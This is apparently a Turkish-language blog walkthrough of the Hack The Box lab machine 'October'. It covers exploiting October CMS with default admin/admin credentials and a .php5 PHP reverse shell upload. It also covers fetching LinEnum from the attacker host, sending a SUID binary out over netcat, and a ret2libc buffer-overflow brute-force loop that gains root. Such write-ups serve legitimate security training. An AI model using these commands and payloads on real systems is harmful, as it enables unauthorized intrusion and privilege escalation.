Hack The Box: October Çözümü

0
967
views
Hack the Box platformu sızma testi alıştırmaları için kullanılabilecek çevrimiçi platformlardan birisidir. Bu yazıda, Hack The Box platformundaki October isimli Uzman zorluktaki sanal makinenin ele geçirilmesi incelenecektir.

October sanal makinesinin IP ve işletim sistemi bilgileri aşağıdaki gibidir.

  • IP Adresi: 10.10.10.16
  • İşletim Sistemi: Linux

 

A) Port Tarama

Port taraması sonucunda 2 adet portun açık olduğu tespit edilmiştir.

nmap -p- –open -vv 10.10.10.16 -oN fullportscan.nmap

 

Açık portlar aşağıdaki gibidir:

  • 22/tcp
  • 80/tcp

 

Ardından açık olduğu tespit edilen portlar üzerinde bulunan hizmetlere ait detayların tespiti için versiyon ve script taraması gerçekleştirilir.

nmap -p 22,80 -sV -sC -vv 10.10.10.16 -oN versionscan.nmap

 

B) HTTP Servisinin İncelenmesi

Gerçekleştirilen nmap taramasında, TCP\80 portunda HTTP servisi göze çarpmaktadır. İlgili adresi tarayıcı üzerinden ziyaret ettiğimizde karşılaştığımız sayfa aşağıdaki gibidir.

 

October CMS” için arama motoru üzerinden araştırma yaptığımızda, platform ile alakalı detaylı bilgiler elde edilebilir.

 

Github üzerinde projeye ait bilgiler bulunmaktadır.

 

Ardından ilgili “CMS” platformu üzerinde yayınlanan herhangi bir güvenlik zafiyeti olup olmadığı kontrol edilebilir. Bu amaçla, Kali üzerindeki “searchsploit” aracı kullanılabilir.

searchsploit october cms

 

Yayınlanan zafiyetler incelendiğinde yalnızca yukarıdaki ekran görüntüsünde işaretlenilen “October CMS 1.0.412 – Multiple Vulnerabilities” zafiyetinin kullanılabileceği gözlemlenebilir.

Bu aşamada ilk olarak ilgili zafiyet bulunulan dizine kopyalanabilir.

searchsploit -p 41936.txt
searchsploit /usr/share/exploitdb/exploits/php/webapps/41936.txt .
ls -l

 

Yayınlanan zafiyete ait detaylar incelenebilir.

cat 41936.txt

 

Detaylar incelendiğinde ilgili çoklu güvenlik zafiyetlerinin barındırıldığı versiyon bilgisi, zafiyetin tetiklenebilmesi gereken detaylar ve en önemlisi bu güvenlik açıklıklarından biri olan uzaktan kod çalıştırma (Remote Code Execution) zafiyetinin bulunduğu tespit edilebilir.

 

Yayınlanan ilk zafiyete (PHP upload protection bypass) ait detaylar incelendiğinde hedef sisteme “.php5” uzantılı dosya yüklenerek dosya uzantı kontrolünün atlatılabileceği gözlemlenmektedir.

 

Uzaktan kod çalıştırma zafiyetinin (PHP code execution via asset management) detayları incelendiğinde ise aşağıda işaretlenen URL adresine ilgili shell dosyası yüklenerek sistem üzerinde komut çalıştırılabildiği gözlemlenmektedir.

 

Tüm bu detaylardan sonra ilk olarak ilgili CMS platformu üzerinde kaynak kod vs incelenerek herhangi bir versiyon tespit edilememiştir. Ardından HTTP portuna denk gelindiğinde her zaman gerçekleştirildiği gibi öncelikle “nikto” ile zafiyet taraması ve “gobuster” ile dizin taraması işlemlerini gerçekleştilirilir. Gerçekleştirilen zafiyet taramasına ait detaylar aşağıdaki gibidir.

nikto –host=http://10.10.10.16/

 

Gerçekleştirilen dizin tarama işlemine ait detaylar aşağıdaki gibidir.

gobuster -u http://10.10.10.16/ -w /usr/share/seclisct/Discovery/Web-Content/common.txt -s ‘200,204,301,302,307,403,500’ -e -o gobuster

 

Yukarıda verilen ekran görüntüsü incelendiğinde uzaktan kod çalıştırma zafiyeti kapsamında URL adresinde belirtilen “backend” dizininin varlığı tespit edilmiştir. İlgili dizin tarayıcı üzerinden ziyaret edildiğinde aşağıda verilen yönetici paneli ile karşılaşılmaktadır.

 

Söz konusu yönetim paneli için arama motorları üzerinden varsayılan kimlik bilgileri araştırılmış ancak net bir sonuç elde edilememiştir. Ardından tahmin edilebilir/ön tanımlı hesap bilgileri ile manuel olarak giriş denemeleri gerçekleştirilmiş ve panel için geçerli kimlik bilgisinin “admin/admin” olduğu tespit edilmiştir.

 

İlgili uygulama içerisinde keşif gerçekleştirilmiş ve “Media” sekmesi altına “.php5” uzantılı dosya yüklenebildiği gözlemlenmiştir. Söz konusu uygulama arayüzüne ait ekran görüntüsü aşağıdaki gibidir.

 

Bu aşamada hedef sistem üzerinden reverse shell alınabilecek dosya bu arayüzden yüklenebilir. Bunun için ilk olarak Kali üzerinde var olan “php-reverse-shell” dosyası bulunulan dizine “.php5” uzantılı olarak kopyalanır.

cp /usr/share/laudanum/php/php-reverse-shell.php shell.php5

 

Ters bağlantı sağlanacak olan Kali makinemizin IP adresi tespit edilir.

ifconfig

 

shell.php5” dosyasının içerisindeki IP adresi ve port bilgisi güncellenir.

nano shell.php5

 

Gerekli düzenlemelerden sonra ilk olarak saldırgana ait Kali makine üzerinde TCP\7070 portunda dinleyici başlatılır.

nc -lvp 7070

 

Ardından ilgili “shell.php5” dosyası hedef sisteme yüklenir ve aşağıda ekran görüntüsü verilen yazıya tıklanır.

 

Hedef üzerinden ters bağlantı elde edilir. Ancak burada elde edilen kabuk, etkileşimli (interactive) değildir.

id

 

Etkileşimli kabuk erişimi elde edebilmek için aşağıdaki işlemler yapılabilir.

python -c ‘import pty; pty.spawn(“/bin/bash”)’
CTRL +Z
stty raw -echo
fg

 

Ardından bulunulan dizine ait içerik listelenir ve “home” dizinine gidilerek sistem üzerindeki kullanıcı(lar) tespit edilir. Sadece “harry” kullanıcısının ev dizini tespit edilebilmiştir.

 

Ardından “harry” adlı kullanıcının “Desktop” dizininde ilk bayrak olan “user.txt” dosyası okunur.

 

C) Hak Yükseltme Zafiyetinin Tespiti

Hedef sistem üzerinde yetki yükseltmek için hedefe “LinEnum.sh” scripti yüklenerak sistem hakkındaki genel detaylar kontrol edilebilir.

https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

 

Bunun için saldırgan makinede “LinEnum.sh” scriptinin bulunduğu dizine gidilerek aşağıdaki komut çalıştırılır ve HTTP sunucu kurulur.

locate LinEnum.sh
cd /mnt/hgfs/VM-Share/t00ls/linux-EoP/LinEnum/
python -m SimpleHTTPServer 80

 

Hedef sistem üzerinde aşağıdaki komutlar çalıştırılarak LinEnum.sh betiği hedef sistem üzerine indirilir.

which wget
wget http://10.10.14.10/LinEnum.sh

 

Saldırgan makinede de bu talep görülmektedir.

 

İlgili scripti çalıştırmak için öncelikle çalışma yetkisi verilir ve ardından çalıştırılır.

chmod +x LinEnum.sh
./LinEnum.sh

 

Bir çok muhtemel zafiyet keşfedilir. SUID biti etkin olan dosyalar bunlardan biridir.

 

Söz konusu LinEnum.sh betiğine ait çıktı incelendiğinde yukarıda SUID bite sahip işaretlenen “ovrflw” dosyası dikkat çekmektedir.

Not: İlgili dosya hedef sistem üzerinde aşağıdaki komut çalıştırılarak manuel olarak da tespit edilebilir.

find / -perm -4000 2>/dev/null

 

D) Bellek Taşması ile Hak Yükseltme Zafiyetinin İstismarı

Söz konusu “ovrflw” dosyası “netcat” ile saldırgan sisteme indirilerek incelenir. Saldırgan makinesi üzerinde dinleyici başlatılır.

nc -nvlp 4444 > ovrflw

 

Hedef sistem üzerinden saldırgana ait Kali makineye dosya transfer edilir.

which nc
nc 10.10.14.10 4444 < /usr/local/bin/ovrflw

 

İlgili dosyanın türü incelendiğinde, dosyanın çalıştırılabilir olduğu gözlemlenir.

file ovrflw

 

Ardından dosyaya çalıştırma yetkisi verilir ve çalıştırılır.

chmod +x ovflw
./ovrflw

 

Dosyayı çalıştırdığımızda sözdizimi olarak bir girdi değeri girmemizi istiyor. Ardından dosyayı debugger ile açabilir ve assembly kodunu inceleyebiliriz.

gdb ./ovrflw
disassemble main

 

Burada dikkat çeken kısım olarak 67. satırında bellek taşması zafiyetine karşı savunmasız “strcpy” fonksiyonunun varlığı gözlemlenebilir. Bellek taşması zafiyeti ile ilgili detaylar için kaynaklardaki Siberportal yazısı incelenebilir.

Zafiyetin crash noktasının tespiti için 50’ nin katları şeklinde string gönderimi gerçekleştirilebilir.

./ovrflw python -c 'print "A"*50'
./ovrflw python -c 'print "A"*100'
./ovrflw python -c 'print "A"*150'

 

Son olarak 150 byte büyüklüğünde bir string gönderildiğinde uygulamanın crash olduğu tespit edilmiştir.

Ardından crash noktasının tam yerinin tespiti için “pattern_create” aracı kullanılır.

cd /usr/share/metasploit-framework/tools/exploit
./pattern_create -l 150

 

Debugger’da gdb komut satırında ilgili pattern çalıştırılır ve EIP değerinin 64413764 olduğu görülmektedir.

r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

 

EIP değerinin başladığı yerin tespiti için MSF’in pattern_offset.rb betiği kullanılabilir.

./pattern_offset -q 64413764

 

Uygulamanın crash noktasının tam yerinin tespitinin 112. byte olduğu gözlemlenebilir.

Ardından ilgili uygulama üzerinde uygulanmış herhangi bir güvenlik önleminin bulunmadığı kontrol edilir. Bunun için Kali makinesinde “checksec” aracı kullanılabilir.

apt-get install checksec
checksec -p ovrflw

 

Benzer olarak “Peda” aracı da kullanılabilir.

git clone https://github.com/longld/peda.git ~/peda
echo “source ~/peda/peda.py” >> ~/.gdbinit
echo “DONE! debug your program with gdb and enjoy”

 

“peda” eklentisi daha kullanışlı olduğundan “peda” aracı tercih edilmiştir. Ardından aşağıdaki komutlar ile uygulama üzerindeki güvenlik önlemleri incelenir.

peda help
checksec
alsr

 

Burada dikkat etmemiz gereken konu “NX” güvenlik mekanizmasının aktif olmasıdır. “NX” biti diğer bir deyişle “Data Execution Prevention (DEP)” güvenlik mekanizması; hafızada herhangi bir alanın hem yazılabilir hem de çalıştırılabilir olmasını önler. Bunun anlamı saldırgan olarak kod akışı ele geçirilse dahi shellcode yüklenebilecek stack, heap benzeri alanlar “Not Executable” olduğundan dolayı program oraya yönlendirilemeyecektir. Bu sayede bellek taşması ve benzeri saldırılar engellenmiş olacaktır. Ancak bu önlemin atlatılması için saldırganlar tarafından geliştirilen bir yöntem çıkmıştır: “Ret2libc

İlgili teknik ile çalıştırılabilir hafıza alanındaki kodlar kullanılarak kod akışı direkt olarak programda yer alan fonksiyonlara yönlendirilerek amaca ulaşılmaya çalışılır. İlgili atak için kaynaklardaki 0x00sec ve canyoupwn bağlantıları incelenebilir.

Yukarıdaki ekran görüntüsündeki bir diğer konu ise “ASLR” önleminin şuan saldırgan makine üzerinde “off” olduğudur. Bunu hedef makinede kontrol etmek için sırası ile aşağıdaki komutlar çalıştırılabilir. İlk olarak “ovrflw” programını çalıştırıp ardından “p system” komutu ile sistem adresini kontrol edebiliriz. Ardından programı tekrar çalıştırırız ve tekrar “p system” komutu ile sistem adresini kontrol ediyoruz. Burada çıkan sonuçları incelediğimizde sistem adresinin her çalıştırma işleminden sonra farklı olduğu gözlemlenir. Bunun sebebi hedef sistem üzerinde “ASLR” nin etkin olmasıdır.

Bu aşamada hedef sistem üzerinde zafiyeti istismar ederek shell elde edebilmek için “ASLR” olduğundan dolayı kaba kuvvet saldırısı gerçekleştirilebilir. Bunun için “system”, “exit” ve “/bin/sh” adres değerlerine ihtiyacımız bulunmaktadır.

b main
r
p system
r
p system
p exit
find 0xb763e310, +9999999, “/bin/sh”
x/s 0xb7760bac

 

Adres değerleri yukarıda ekran görüntüsünde verilen komutlar ile tespit edilebilir. Tespit ettiğimiz değerler aşağıdaki gibidir;

  • system : 0xb763e310
  • exit : 0xb7631260
  • /bin/sh : 0xb7760bac

Tespit edilen adres değerleri ile hedef sistem üzerinde erişim elde edebilmek gerçekleştirilecek kaba kuvvet saldırısına ait shellcode yazılabilir.

while true; do /usr/local/bin/ovrflw $(python -c ‘print “A” * 112 + “\x10\x53\x63\xb7\x60\x12\x63\xb7\xac\x0b\x76\xb7″‘);done

 

“root” kullanıcı yetkisi ile komut satırı erişimi elde edilmesine ve “root.txt” dosyasının tespitine ait detaylar aşağıda verilmiştir.

id
ls -l
cd
ls -l
cd /root
cat root.txt
whoami

 

Kaynaklar:

https://pentestworld.blogspot.com/2019/11/htb-october.html

Seattle Lab Mail (SLmail) 5.5 Üzerinde Stack Tabanlı Bellek Taşma Zafiyetinin İstismarı


https://resources.infosecinstitute.com/hack-the-box-htb-machines-walkthrough-series-october/#gref

Hack the Box: October Walkthrough


https://0x00sec.org/t/exploiting-techniques-000-ret2libc/1833
https://canyoupwn.me/tr-code-reuse-saldirilari-ret2libc-rop

 

 

 

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

This site uses Akismet to reduce spam. Learn how your comment data is processed.